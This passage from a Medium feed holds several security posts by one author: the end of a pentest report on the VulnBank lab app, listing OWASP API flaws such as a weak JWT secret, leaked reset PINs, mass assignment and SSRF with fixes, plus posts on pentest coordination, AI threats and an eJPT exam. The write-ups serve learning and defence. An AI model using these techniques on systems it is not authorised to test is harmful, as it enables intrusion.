src="https://cdn-images-1.medium.com/max/972/1*uI1ih_Teb5zpG-p0D-5CrA.png" /></figure><p>The Content-Security-Policy header was not found in the responses which makes the application prone to injection attacks.</p><p>c. X-Frame-Options</p><p>4. <strong>Information Disclosure through Server Headers</strong></p><p>This can provide insight into the technology stack of the application’s server which could aid in targeting known vulnerabilities.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xmMrwO0OnY8XtV3rSqPcEg.png" /></figure><h4>API 9: Improper Inventory Management</h4><p>This is about getting unauthorized access through old API versions or endpoints left running unpatched and using weaker security requirements. Alternatively, they may get access to sensitive data through a 3rd party with whom there’s no reason to share data with.</p><p><strong>Category</strong>: API 9</p><p><strong>Severity</strong>: Critical</p><p><strong>Steps taken:</strong></p><p><strong>POST /api/v2/forgot-password</strong> and <strong>POST /api/v1/forgot-password</strong></p><p>The older API versions (v1) endpoint revealed leaked PINs which was clearly a reason why they switched to v2. Even though they switched to v2, they did not take care of the issue v1 had or prevented users from making use of that endpoint.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OfghxHDUrYpEuEh4Df6FQA.png" /><figcaption>v1</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IW95im56NmIm4LsXPPyQvw.png" /><figcaption>v2</figcaption></figure><h4>API 10: Unsafe consumption of APIs</h4><p>This requires identifying and potentially compromising other APIs/services the application’s API is integrated with. Usually, this information is not publicly available or the integrated API/service is not easily exploitable. To successfully attack the target API, the attacker would first need to discover the other APIs or services connected to it and then try to attack or compromise those connected APIs. In this case, vulnbank does not use any other API services (3rd party APIs).</p><h3>Recommendations</h3><h3>Remediation Steps and Mitigation Guidance</h3><h4>Broken Object Level Authorization (BOLA)</h4><p><strong>Problem:</strong> The API does not verify that requested resources (virtual cards, transactions, account details) belong to the authenticated user making the request. The application accepts object identifiers from user input without validating ownership.</p><p><strong>Solution</strong>:</p><ol><li>Enforce the Principle of Least Privilege:</li></ol><ul><li>During the design phase, ensure trust boundaries are defined. Enumerate the types of users that will be accessing the system, the resources exposed and the operations that might be performed on those resources. For every combination of user type and resource, determine what operations, if any, the user must be able to perform on that resource</li><li>create tests that validate that the permissions mapped out in the design phase are being correctly enforced</li><li>filter database queries by user_id before returning results</li></ul><p>2. Replace Sequential IDs with UUIDs:</p><ul><li>change predictable numeric IDs (1, 2, 3…) to UUIDs. This prevents enumeration attacks where attackers guess valid IDs</li><li>apply to: card_id, transaction_id, loan_id</li></ul><p>3. Validate the Permissions on Every Request:</p><ul><li>validating permissions correctly on just the majority of requests is insufficient. Permission should be validated correctly on every request, regardless of whether the request was initiated by an AJAX script, server-side, or any other source</li><li>the technology used to perform such checks should allow for global, application-wide configuration rather than needing to be applied individually to every method or class</li></ul><p>4. Implement Server-Side Ownership Checks</p><ul><li>Before returning or modifying any resource, verify that the resource belongs to the authenticated user</li><li>Compare the resource’s user_id against the authenticated user’s ID</li><li>Return HTTP 403 Forbidden or 404 Not Found for unauthorized access</li></ul><h4>Broken Authentication</h4><p><strong>Problem</strong>:</p><p>JWT’s signing secret is weak and easily guessable (“secret123”). No token expiration enforcement is present and the application trusts JWT claims without server-side validation.</p><p><strong>Solution:</strong></p><ol><li>Replace JWT Secret Immediately</li></ol><ul><li>Generate a cryptographically strong secret (minimum 256-bit) and use a secure random generator, not just dictionary words</li><li>Store secret in environment variables, never hardcode in source</li><li>Rotate the secret, which will invalidate all existing tokens</li></ul><p>2. Implement Token Expiration</p><ul><li>Add expiration time (exp claim) to all tokens</li><li>Implement token refresh mechanism for better user experience</li><li>Validate expiration server-side on every request</li></ul><p>3. Add Server-Side Role Verification</p><ul><li>Never trust the is_admin claim in the JWT alone</li><li>Always query the database to verify user role</li><li>Check user.is_admin from the database before granting admin access,this prevents forged tokens from granting unauthorized privileges</li></ul><p>4. Implement Token Revocation</p><ul><li>Create a token blacklist/revocation mechanism . This allows users to invalidate sessions on logout</li><li>Revoke tokens when security events occur (password change, etc.)</li></ul><h4>Broken Object Property Level Authorization (BOPLA)</h4><p><strong>Problem:</strong></p><p>The API accepts arbitrary properties in request payloads without validation, allowing mass assignment of privileged fields. Users can set is_admin, balance, and account_number during registration. Additionally, API responses expose excessive data including sensitive internal fields.</p><p><strong>Solutions:</strong></p><ol><li>Apply to All CRUD Operations</li></ol><ul><li>Review all CREATE, UPDATE operations for mass assignment and ensure READ operations don’t leak sensitive data</li><li>Test with unexpected/malicious field names</li></ul><p>2. Implement Property Whitelisting</p><ul><li>Define explicitly allowed fields for each endpoint and reject or ignore any fields not in the whitelist</li><li>For registration: only accept username, password, email. Never allow users to set: is_admin, balance, account_number, role</li></ul><p>3. Set Privileged Fields Server-Side Only</p><ul><li>Always set is_admin=false for new registrations</li><li>Initialize balance=0.00 server-side</li><li>Generate account numbers server-side using secure algorithms</li><li>User input should never influence privileged fields</li></ul><p>4. Use Input Validation Schemas</p><ul><li>Implement schema validation for all request bodies, data types, lengths, and formats</li><li>Return descriptive errors for invalid input</li><li>Consider using validation libraries appropriate for your framework</li></ul><p>5. Minimize Data in API Responses</p><ul><li>Create separate response models for public vs admin views</li><li>Never expose: password hashes, internal IDs, reset tokens, admin flags</li><li>Return only the minimum data required for the frontend</li><li>Implement field-level access controls</li></ul><h4>Unrestricted Resource Consumption</h4><p><strong>Problem</strong>:</p><p>No rate limiting or throttling mechanisms are implemented on any endpoints, enabling brute-force attacks which could lead to denial of service, and resource exhaustion.</p><p><strong>Solutions</strong>:</p><ol><li>Implement Rate Limiting</li></ol><ul><li>Apply rate limits to all authentication endpoints and recommended limits should be 5 attempts per minute per IP</li><li>Password reset should be 3 attempts per hour per email. Registration should be 10 per hour per IP</li></ul><p>2. Add Account Lockout Mechanism</p><ul><li>Lock accounts after 5 consecutive failed login attempts with a duration of 15 minutes minimum</li><li>Notify user via email of account lockout and provide unlock mechanism (email verification or admin intervention)</li><li>Reset failed attempt counter on successful login</li></ul><p>3. Add Request Size Limits</p><ul><li>Enforce maximum request body size (e.g., 1MB)</li><li>Limit file upload sizes and reject oversized payloads</li></ul><p>4. Monitor for Abuse Patterns</p><ul><li>Log rate limit violations and alert on suspicious activity (multiple IPs from same user)</li><li>Consider CAPTCHA for repeated failures</li></ul><h4>Broken Function Level Authorization (BFLA)</h4><p><strong>Problem:</strong></p><p>Admin-only endpoints are accessible by regular users. The application trusts the is_admin claim in JWT tokens without server-side verification against the database. The admin panel endpoint (/sup3r_s3cr3t_admin) uses security through obscurity instead of proper authentication.</p><p><strong>Solutions:</strong></p><ol><li>Remove or Properly Secure Admin Endpoints</li></ol><ul><li>Rename /sup3r_s3cr3t_admin to proper path: /admin/dashboard</li><li>Do not rely on obscure URLs for security</li><li>Apply proper authentication middleware to all admin routes</li></ul><p>2. Remove Admin Functionality from Public UI</p><ul><li>Don’t show admin links in the dashboard for non-admin users. Even if hidden, enforce backend authorization</li></ul><p>3. Implement Server-Side Role Verification</p><ul><li>Before executing any admin function, query the database, verify current_user.is_admin from database, not from JWT</li><li>Return HTTP 403 Forbidden for unauthorized access attempts</li><li>Never trust client-controlled claims alone</li></ul><p><strong>4. </strong>Apply Authorization Middleware to All Admin Endpoints</p><ul><li>Create admin_required decorator/middleware and apply to all endpoints under /admin/</li><li>Ensure middleware checks database role, not token</li></ul><h4>Unrestricted Access to Sensitive Business Flows</h4><p><strong>Problem:</strong></p><p>Business logic validation is missing, allowing illogical operations that violate financial integrity. Users can transfer negative amounts, submit unlimited loan applications, and manipulate balances outside legitimate flows.</p><p><strong>Solutions:</strong></p><ol><li>Validate Transfer Amounts</li></ol><ul><li>Ensure amount is positive and verify the sender has sufficient balance</li><li>Reject transfers exceeding daily/transaction limits and prevent self-transfers</li><li>Validate recipient account exists</li></ul><p>2. Implement Loan Eligibility Checks</p><ul><li>Verify users meet minimum criteria (account age, balance history) and check existing debt-to-income ratio</li><li>Limit pending loan applications (max 2–3 pending) and enforce maximum loan amounts</li><li>Require cooling period between loan applications</li></ul><p>3. Add Transaction Limits</p><ul><li>Enable single transaction limit, daily transfer limits and monthly cumulative limits</li></ul><p>4. Add Balance Validation</p><ul><li>Verify balances never go negative (except approved overdraft)</li><li>Recalculate balance from transaction history periodically</li><li>Alert on discrepancies. Implement balance reconciliation process</li></ul><h4>Server-Side Request Forgery (SSRF)</h4><p><strong>Problem:</strong></p><p>The profile picture upload endpoint accepts arbitrary URLs without validation, allowing requests to internal network resources, cloud metadata services, and external sites. This enables reconnaissance of internal infrastructure and potential data exfiltration.</p><p><strong>Solutions:</strong></p><ol><li>Implement URL Validation</li></ol><ul><li>Only allow HTTP and HTTPS protocols and validate URL format before processing</li></ul><p>2. Use Domain Whitelisting</p><ul><li>Only permit URLs from trusted CDNs and reject all other domains</li><li>Regularly review and update whitelist</li></ul><p>3. Block Private IP Ranges</p><ul><li>Prevent access to localhost, block RFC1918 private networks, block link-local addresses and block cloud metadata endpoints</li><li>Resolve hostnames to IPs and validate before fetching</li></ul><p>4. Prefer Direct File Upload</p><ul><li>Instead of URL fetching, require direct file upload, validate file type, size, and content also scan uploaded files for malware</li><li>If URL fetching is required then implement request timeouts, limit response size, use proxy for fetching, validate content-type header and don’t follow redirects or follow only HTTPS redirects</li></ul><p>5. Network-Level Protection</p><ul><li>Configure firewall rules to block outbound requests to internal networks</li><li>Use separate network segment for application servers and implement egress filtering</li></ul><h4>Security Misconfiguration</h4><p><strong>Problem:</strong></p><p>Multiple security misconfigurations exist: missing security headers, permissive CORS policy, server version disclosure, and debug mode potentially enabled.</p><p><strong>Solutions:</strong></p><ol><li>Implement Security Headers</li></ol><ul><li>Add the following headers to all responses:</li><li>X-Content-Type-Options: nosniff (prevents MIME sniffing)</li><li>X-Frame-Options: DENY (prevents clickjacking)</li><li>Referrer-Policy: strict-origin-when-cross-origin</li><li>Permissions-Policy: restricts browser features</li></ul><p>2. Fix CORS Configuration</p><ul><li>Change Access-Control-Allow-Origin from * to specific domain and only allow requests from your application’s domain</li></ul><p>3. Remove Server Version Headers</p><ul><li>Hide Werkzeug version disclosure and remove Python version from Server header</li><li>Return generic server identifier or remove entirely and don’t leak technology stack information</li></ul><p>4. Implement Proper Error Handling</p><ul><li>Return generic 404/500 error messages and don’t leak filesystem paths</li><li>Don’t reveal SQL queries in errors and log full errors server-side only</li></ul><p>5. Regular Security Configuration Review</p><ul><li>Review security settings quarterly and keep framework and dependencies updated</li><li>Follow security best practices for your framework</li><li>Use security scanners to detect misconfigurations</li></ul><h4>Improper Inventory Management</h4><p><strong>Problem:</strong></p><p>The old API version (v1) remains accessible despite having known vulnerabilities. The /api/v1/reset-password endpoint exposes password reset PINs in the response, while v2 attempts to fix this but doesn’t deprecate or remove the vulnerable endpoint.</p><p><strong>Solutions:</strong></p><ol><li>Immediately Deprecate /api/v1/reset-password</li></ol><ul><li>Remove the endpoint entirely from routing or return HTTP 410 Gone with deprecation notice</li><li>Do not allow any access to v1 reset password functionality</li></ul><p>2. Establish API Versioning Policy</p><ul><li>Define clear versioning strategy and document supported API versions</li><li>Set deprecation timelines and communicate changes to API consumers</li></ul><p>3. Maintain API Inventory</p><ul><li>Document all active endpoints and versions and track which endpoints are deprecated/removed</li><li>Regular audit of accessible endpoints and remove or disable unused/test endpoints</li></ul><p><strong>4. F</strong>ix Password Reset in v2</p><ul><li>Send PIN via email only and use secure tokens instead of 4-digit PINs</li><li>Implement token expiration</li><li>Use cryptographically secure random generation</li></ul><p>5. Remove Debug/Test Endpoints</p><ul><li>Audit codebase for test endpoints and remove or disable in production endpoints</li></ul><h4>Unsafe Consumption of APIs</h4><p>The VulnBank application does not consume any third-party APIs or external services. All functionality is implemented internally.</p><p>If Third-Party APIs are Integrated in the nearest future, when evaluating service providers:</p><ul><li>assess their API security posture</li><li>ensure all API is encrypted</li><li>always validate, sanitize data received by 3rd party APIs</li><li>do not blindly follow redirects.</li></ul><h3>Conclusion</h3><h4>Overall Security Posture</h4><p>Risk Rating: <strong>Critical</strong></p><p>The current security posture of the VulnBank application is insufficient for production deployment. The combination of authentication failures, authorization bypasses, and business logic flaws creates an environment where:</p><ul><li>Any user can access any other user’s financial data</li><li>Regular users can trivially escalate to administrator privileges</li><li>Financial transactions can be manipulated (negative transfers)</li><li>No protection against automated attacks (brute-force, enumeration)</li><li>Internal network infrastructure exposed via SSRF</li><li>Password reset mechanism fundamentally broken (PIN leakage)</li></ul><p>This application demonstrates multiple defense failures at critical security boundaries, with no compensating controls in place.</p><h4>Final Remarks</h4><p>The vulnerabilities identified in this assessment represent common API security issues found in modern web applications following the OWASP API Top 10, 2023 Edition. They are not indicative of negligence but rather highlight areas where security controls require strengthening. With focused remediation effort and commitment to security best practices, the VulnBank application can achieve a strong security posture suitable for production deployment. The development team demonstrated good API design principles and structure. By addressing the identified vulnerabilities and implementing the recommended security controls, VulnBank can become a secure financial application that protects user data and maintains customer trust.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0d7243d80b13" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How I Applied Singleton Design Pattern Implementation for Penetration Testing Coordination]]></title>
            <link>https://medium.com/@ashidijoy52/how-i-applied-singleton-design-pattern-implementation-for-penetration-testing-coordination-7630e255cc99?source=rss-f1cca3b23df2------2</link>
            <guid isPermaLink="false">https://medium.com/p/7630e255cc99</guid>
            <dc:creator><![CDATA[Joy Ashidi]]></dc:creator>
            <pubDate>Wed, 10 Sep 2025 11:34:33 GMT</pubDate>
            <atom:updated>2025-09-10T11:37:08.913Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YO1Yr23oqjwjMcTRt3ooxg.png" /></figure><p>During the just concluded semester as a computer science student, I was working with a friend on a CTF and we kept getting stuck; not on the technical challenges, but on coordination.</p><p>Keeping up with what he had done and where I should come in was a struggle. This became a food-for-thought for me for a project given in my “A modern programming language” course (C#, which included software construction, design patterns, defensive programming, etc) where I was given the “Singleton Design Pattern” to work on.</p><p>I thought, what if there was a coordination system for penetration testing where everyone could access a central manager and see what every other person has done?</p><p>That idea became my project. Instead of a basic example, I built a solution to this coordination problem.</p><p><strong>The Problem:</strong> Penetration testing teams often face:</p><ul><li>multiple testers accidentally scanning the same ports which could slow down the target systems</li><li>duplicate work efforts because everyone assumes someone else tested them</li><li>poor tracking of discoveries and progress</li></ul><h4><strong>What is the Singleton Pattern?</strong></h4><ul><li>Definition: Creational design pattern ensuring only ONE instance of a class exists</li><li>Components: Private constructor + Static getInstance() + Static instance variable</li><li>Purpose: Control object creation and provide global access point</li></ul><p>Singleton Design Pattern is a programming technique that ensures only one instance of a particular class (template) exists in a program while providing easy access to it from anywhere in the application (global access).</p><p>It has (3) components, the private constructor, the static getInstance method and the static instance variable.</p><p>The private constructor prevents external code from creating new objects of that class using the new keyword. The static getInstance method that controls the creation of class objects by being the only way to obtain an instance, the static instance variable that stores the single object instance. The purpose is to control object creation and provide a single global access point.</p><p>Basic Structure of the Singleton Pattern</p><pre>public class Singleton<br>{<br>    private static Singleton _instance = null;<br>    private static readonly object _lock = new object();<br>    <br>    private Singleton() { } // Private constructor<br>    <br>    public static Singleton GetInstance()<br>    {<br>        if (_instance == null)<br>        {<br>            lock (_lock)<br>            {<br>                if (_instance == null)<br>                    _instance = new Singleton();<br>            }<br>        }<br>        return _instance;<br>    }<br>}</pre><p><strong>My Singleton Pattern Implementation</strong></p><pre>public class RealMetasploitableManager<br>{<br>    private static RealMetasploitableManager _instance = null;<br>    private static readonly object _lock = new object();<br>    <br>    private RealMetasploitableManager(string targetIP)<br>    {<br>        _targetIP = targetIP;<br>        _services = new Dictionary&lt;int, ServiceTarget&gt;();<br>        // Initialize coordination data<br>    }<br>  <br>    public static RealMetasploitableManager GetInstance(string targetIP)<br>    {<br>        if (_instance == null)           <br>        {<br>            lock (_lock)                 <br>            {<br>                if (_instance == null)   <br>                    _instance = new RealMetasploitableManager(targetIP);<br>            }<br>        }<br>        return _instance;<br>    }<br>}</pre><ul><li>Private constructor prevents new RealMetasploitableManager()</li><li>Static method controls instance creation</li><li>Double-checked locking ensures thread safety</li><li>Same instance returned on every call</li></ul><p><strong>My Solution:</strong> A centralized coordination system using thread-safe Singleton implementation that:</p><ul><li>prevents duplicate port scanning (conflict prevention)</li><li>manages real-time service assignments across team members</li><li>integrates with actual security tools (nmap, curl, smbclient)</li><li>automatically detects and resolves tester conflicts</li><li>shares vulnerability discoveries immediately with the entire team</li></ul><p>I tested it against Metasploitable 2 environment and successfully coordinated concurrent users while detecting real vulnerabilities including vsftpd backdoor.</p><p><strong>The tools I used:</strong></p><p>IDE: Visual Studio 2022 / Visual Studio Code/ Nano work environment</p><p>Framework: .NET 6.0 / .NET Framework 4.8</p><p>Language: C# (as per project requirements)</p><p>Testing Environment: Metasploitable 2 (Ubuntu Linux vulnerable system) and Parrot OS (Virtual Machine)</p><p>Integration Tools: nmap, curl, smbclient (actual penetration testing tools)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ngE4yi8Salm11Rd79BRZbQ.jpeg" /><figcaption>Building and running the program</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YkA2drD9tiQe20zjNTtxlA.jpeg" /><figcaption>The Coordination system in action</figcaption></figure><p>This project successfully demonstrates how the Singleton design pattern can solve real teamwork challenges in security testing environments. The implementation achieves all stated objectives:</p><ul><li><strong>Singleton Implementation</strong>: Created a thread-safe, efficient single-instance coordination system that prevents multiple managers from causing conflicts</li><li><strong>Real-Time Team Coordination</strong>: Successfully prevents work conflicts and eliminates duplicate efforts among team members</li><li><strong>Security Tool Integration</strong>: Seamlessly connects with actual security testing programs for real-world applicability</li><li><strong>Automatic Conflict Resolution</strong>: Detects and resolves tester conflicts automatically without manual intervention</li><li><strong>Practical Application</strong>: Built a functional system that works with real vulnerable test environments</li></ul><h4><strong>Why the Singleton Pattern works so well</strong></h4><p>The Singleton pattern proves highly effective for this specific problem because:</p><ul><li>Natural fit for centralized coordination requirements (like having one project manager)</li><li>Simplified information management through single instance approach</li><li>Efficient use of computer resources without unnecessary overhead</li><li>Clear separation between coordination logic and actual security testing execution</li></ul><h4><strong>Real-World Impact</strong></h4><p>The solution addresses genuine challenges that occur in professional security testing:</p><ul><li>Eliminates coordination overhead that wastes time in team projects</li><li>Prevents target system overload during intensive security testing</li><li>Ensures comprehensive coverage tracking so nothing gets missed</li><li>Maintains detailed audit trails for compliance and reporting requirements</li></ul><h4>Future Improvements</h4><p><strong>Technical Enhancements:</strong></p><ul><li>Database storage for project continuity across sessions</li><li>Web-based interface for remote team coordination</li><li>Integration with additional security tools (Burp Suite, Metasploit Framework)</li></ul><p><strong>Scalability Improvements:</strong></p><ul><li>Multi-target support for complex network environments</li><li>Distributed coordination for geographically dispersed teams</li><li>API integration with security information management systems</li></ul><h4>Lessons Learned</h4><p>The project demonstrates that established programming patterns like Singleton remain highly relevant for modern cybersecurity applications. The pattern’s simplicity and effectiveness make it an optimal choice for coordination systems that require single points of control.</p><p>The key insight is that sometimes the most straightforward solution (one central manager) is better than complex distributed approaches, especially when the problem domain naturally fits a centralized model like team coordination during security testing.</p><p>You can explore the full source code and implementation details on my GitHub repository:</p><p><a href="https://github.com/joyashidi/Singleton-Pattern-Pentest-Coordination">GitHub - joyashidi/Singleton-Pattern-Pentest-Coordination: C# Singleton Pattern Implementation for Penetration Testing Coordination</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7630e255cc99" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The Impact of AI in Cybersecurity: 7 Lessons]]></title>
            <link>https://medium.com/@ashidijoy52/the-impact-of-ai-in-cybersecurity-7-lessons-4a89bf84d572?source=rss-f1cca3b23df2------2</link>
            <guid isPermaLink="false">https://medium.com/p/4a89bf84d572</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[artificial-intelligence]]></category>
            <dc:creator><![CDATA[Joy Ashidi]]></dc:creator>
            <pubDate>Mon, 01 Sep 2025 17:33:59 GMT</pubDate>
            <atom:updated>2025-09-01T17:35:03.547Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yDIBSZxGj4qh9Jv-57KwMw.jpeg" /></figure><p>Hi everyone,</p><p>For the next few weeks or months, I&#39;d be sharing my lessons on the AI Cyber Magazine (2nd Edition).</p><p>We live in a world where AI has taken over a number of things, from adults to young people. In schools, we see students using AI for tasks as little as sending a text to a friend. With this in mind, it’s only safe for the users to be aware of the downsides as well as its benefits.</p><p>The first writeup was “AI Has Changed the Rules of Cybersecurity” Are we ready for what comes next? by Caroline Wong…</p><p>My lessons from this article includes:</p><ul><li>Deepfakes (Generative AI)</li><li>AI-driven attacks</li><li>Multi-channel Impersonation attacks</li><li>GANS</li><li>Autoencoders</li><li>Diffusion models</li><li>Plug and Play Cybercrime</li></ul><h3>Deepfakes</h3><p>“The Intersection of Impersonation and Infrastructure” ~ Caroline Wong.</p><p>Deepfake is multimedia (audio, video or image) that has been altered or generated using artificial intelligence to make it appear someone said or did something they never did. The technology works by analyzing thousands of photos or videos of a person and then learning to mimic their facial expressions, voice, and mannerisms so convincingly that it can create realistic-looking fake content.</p><p>For example, in the movie G20, a man held the presidents from all countries captive and asked them to read a meaningless text, &quot;the cat sat on a mat”. He then used deepfake technology to create a new video of them saying incriminating things that made the market, allowing him to steal money.</p><h3>AI-driven Attacks</h3><p>“<em>These days, AI-driven attacks can change on the fly. Bots have evolved from just clicking and crawling like machines; now, they actually mimic human behaviour to get around security controls.</em>” ~ Caroline Wong</p><p>AI-driven attacks are cyberattacks that make use of artificial intelligence and machine learning techniques to enhance their effectiveness and make them harder to detect. It&#39;s a combination of the speed and intelligence of machines with the creativity of cybercriminals.</p><p>For example, Deepfakes, AI-powered phishing, automated password cracking, etc.</p><p>The outcome of AI-driven attacks is more sophisticated and scalable threats that can either convincingly mimic human behavior or enhance traditional attack methods with AI capabilities.</p><h3>Multi-channel Impersonation Attacks</h3><p>“<em>Now, deepfake voicemails and videos are being mixed with phishing emails to create multi-channel impersonation attacks.</em>” ~ Caroline Wong</p><p>Multi-channel impersonation attacks are cyberattacks where cybercriminals impersonate a trusted person or organisation across multiple communication channels (e.g SMS, phone call, email, WhatsApp, LinkedIn, X, etc) simultaneously to increase credibility and pressure victims into compliance.</p><p>For example, an attacker disguising as the bank manager sends an email to the cashier to authorise a transfer. Immediately after the email, place a call through to reinforce the message. This form of consistency makes the impersonation attacks seem real and convinces the victim to act fast.</p><h3>GANs (Generative Adversarial Networks)</h3><p>“<em>So, tools like GANs, autoencoders, and diffusion models have really sped up the deepfake creation process, making it easier and more scalable for everyone</em>.” ~ Caroline Wong</p><p>GANs are a type of artificial intelligence framework (used to make deepfakes) that uses two competing neural networks, a generator and discriminator, that create new, realistic content.</p><p><strong>How GANs work:</strong></p><ul><li>Generator: Creates fake content (images, audio, video)</li><li>Discriminator: Tries to detect whether content is real or fake.</li><li>They train together in an adversarial process, and the generator gets better at creating convincing fakes, while the discriminator gets better at spotting them. Eventually, the generator becomes so good that it can fool both the discriminator and humans, producing highly realistic data.</li></ul><p>Although GANs have legitimate purposes beyond deepfakes, including creating art, enhancing medical imaging, generating synthetic data for research, and developing visual effects for entertainment.</p><h3>Autoencoders</h3><p>Autoencoders are a type of neural network used for compression and decompression of data. Unlike traditional compression methods, they have a ‘learning brain’ that figures out which parts of the data are most important to keep, so the reconstruction doesn’t lose critical information.</p><p><strong>How autoencoders work:</strong></p><ul><li>Encoder: Compresses the input data into a smaller, condensed representation (called a &quot;latent space&quot;)</li><li>Decoder: Takes that compressed representation and tries to reconstruct the original data.</li></ul><p>The network learns by trying to make the output as close to the input as possible. This technology is used for data compression, image enhancement, noise reduction, and unfortunately, creating deepfakes by learning facial features and expressions.</p><h3>Diffusion Models</h3><p>Diffusion models are a type of deep generative model (artificial intelligence that can create new things that never existed, using deep neural networks). They work by starting with random noise and gradually transforming it into realistic, structured content such as images, audio, or video.</p><p><strong>How diffusion models work:</strong></p><ul><li>Training phase: The model learns by watching data (like images) get gradually corrupted with random noise until it becomes pure static</li><li>Generation phase: The model reverses this process, starting with random noise and slowly removing it step-by-step to create new, realistic content</li><li>Iterative refinement: Unlike GANs that generate in one step, diffusion models work through many small denoising steps</li></ul><p>For example DALL-E 2, Midjourney, and Stable Diffusion, which create realistic images from text descriptions. While used for legitimate art and design, these tools can also generate fake images for identity fraud and misinformation campaigns.</p><h3>Plug and Play Cybercrime</h3><p>These are ready-made, easy to use criminal tools and services that allow people without technical expertise to commit cybercrimes. These tools remove the technical barriers that once limited cybercrime to skilled hackers.</p><p>This has dramatically increased cybercrime volume because almost anyone can now launch sophisticated attacks without needing years of technical training.</p><p>For example, ransomware-as-a-service platforms(RaaS), bots-as-a-service (BaaS), ready-made phishing website templates, automated social engineering scripts, simple deepfake creation apps, etc.</p><h3>The Defenders Response</h3><p><em>“Defenders aren’t powerless. In fact, they have one major advantage: data</em>.”<br>~ Caroline Wong</p><p><strong>The increase in attacks and the roles of defenders</strong></p><p>As artificial intelligence use in cybercrime increases, cybersecurity professionals, especially those focused on defense, must accelerate their response. However, defenders face a critical challenge: they must evolve faster than the pace of cybercriminals.</p><p>With plug-and-play cybercrime tools readily available, even non-technical individuals can now exploit vulnerabilities, and skilled criminals have access to increasingly sophisticated AI-powered attack methods. <br>This means the threat landscape is expanding both in volume and complexity at an unprecedented rate. Static, rule-based security systems are no longer sufficient against these adaptive, AI-driven threats. Defenders must create dynamic, intelligent systems that can:</p><ul><li>Analyze behavioural patterns and detect anomalies at scale</li><li>Automatically respond to threats faster than human analysts</li><li>Learn and adapt to new attack patterns in real-time</li><li>Predict and prevent attacks before they succeed</li></ul><p>The race is on, defenders must leverage AI tools to stay ahead of an increasingly accessible and powerful criminal toolkit, building systems that can think and adapt as quickly as the threats they&#39;re designed to stop.</p><h3>Trust and Resilience</h3><p>With the presence of deepfake technology, diffusion models, GANs, and other AI tools, we must become more aware of these emerging threats. Building resilience requires collaboration across multiple disciplines, working closely with designers, product managers, legal teams, and security professionals to stay informed about how these tools are being used and misused.</p><p>AI is changing the cybersecurity landscape. Criminals now have access to sophisticated tools that were once limited to nation-states or highly skilled hackers. In response, organizations must prioritize awareness, invest in AI-powered defences, and foster a culture of security that spans all departments</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4a89bf84d572" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[INE: eLearnSecurity Junior Penetration Tester (eJPT) Certification Exam — My Experience]]></title>
            <link>https://medium.com/@ashidijoy52/ine-elearnsecurity-junior-penetration-tester-ejpt-certification-exam-my-experience-84d4d44af93e?source=rss-f1cca3b23df2------2</link>
            <guid isPermaLink="false">https://medium.com/p/84d4d44af93e</guid>
            <dc:creator><![CDATA[Joy Ashidi]]></dc:creator>
            <pubDate>Mon, 07 Apr 2025 10:47:06 GMT</pubDate>
            <atom:updated>2025-04-23T16:32:13.715Z</atom:updated>
            <content:encoded><![CDATA[<h3>INE: eLearnSecurity Junior Penetration Tester (eJPT) Certification Exam — My Experience</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WX_kC9CVw3TIupSnPZVHsA.png" /></figure><p>On the 5th of April, I set out to take my eJPT certification exam, starting at exactly 10:03 AM. I completed it by 9:32 AM on the 6th of April, with about 25 hours still left on the timer. I scored 88%.</p><p><strong>Preparation:</strong></p><p>I had completed the course content in December 2024, but due to school exams and other circumstances, I couldn’t take the exam immediately. In March 2025, I revisited the course to refresh my knowledge. INE had added new CTFs, and I completed all of them, they really helped.</p><p>Even with all this preparation, I still wasn’t confident enough. So, I watched several YouTube videos sharing people’s experiences, and read articles on Medium about how others passed. One thing that helped a lot was a CyberGirls session, where an alumna shared her tips, dos and don’ts, and what to expect during the exam.</p><p>Before the exam, I also reviewed all the recommended tools and made sure I could use them efficiently. Here’s a breakdown of my strategy and toolset:</p><ul><li>I started by scanning my entire subnet, performing version detection, script scans, and OS detection all at once.</li><li>I saved all scans in text/XML files for easy reference.</li><li>I replaced Hydra with WPScan for brute-forcing WordPress targets.</li><li>My enumeration game was on point — I made sure to dive deep into every service.</li><li>I ensured I uploaded/downloaded files across services like FTP, SMB, SSH, and even used Meterpreter to transfer files.</li></ul><p>The core tools I used throughout were:</p><ul><li>Nmap</li><li>Dirb</li><li>Nikto</li><li>WPScan</li><li>CrackMapExec</li><li>Metasploit</li><li>Searchsploit</li><li>Hydra</li><li>John the Ripper</li><li>Hashcat</li><li>Netcat.</li></ul><p><strong>The Exam Day:</strong></p><p>I initially scheduled my exam for 6:30 AM, but due to electricity issues (Nigeria things 😅), I started by 10:03 AM. It turned out to be a blessing in disguise. I used the extra time to revise, freshen up, pray, and hydrate.</p><p>Once the exam started, I read through all 35 questions before doing anything. There were six (6) target systems in total for me , four Windows and two Linux systems. As expected, I felt a wave of nervousness, especially during port scanning, but I pushed through.</p><p>I scanned all ports (full range), and took notes on Notion, organizing findings by target and OS. This helped me stay organized. After that, I took a snack break and planned my next steps.</p><p><strong>The Actual Hacking:</strong></p><p>Unlike the course practice labs, the exam labs were different, but not unmanageable. I focused on deep enumeration, remembering not to treat the exam like a CTF, since the lab records everything.</p><p>For each target system I got access to, I escalated privileges (some didn’t even need it as I had elevated access from the start). I also performed post-exploitation tasks like:</p><ul><li>Local enumeration</li><li>Checking users and groups</li><li>Reviewing running processes</li><li>Network info</li><li>Dumping and cracking hashes</li></ul><p>One highlight for me was creating a reverse shell using Netcat — it was fun!</p><p>At some point, I couldn’t 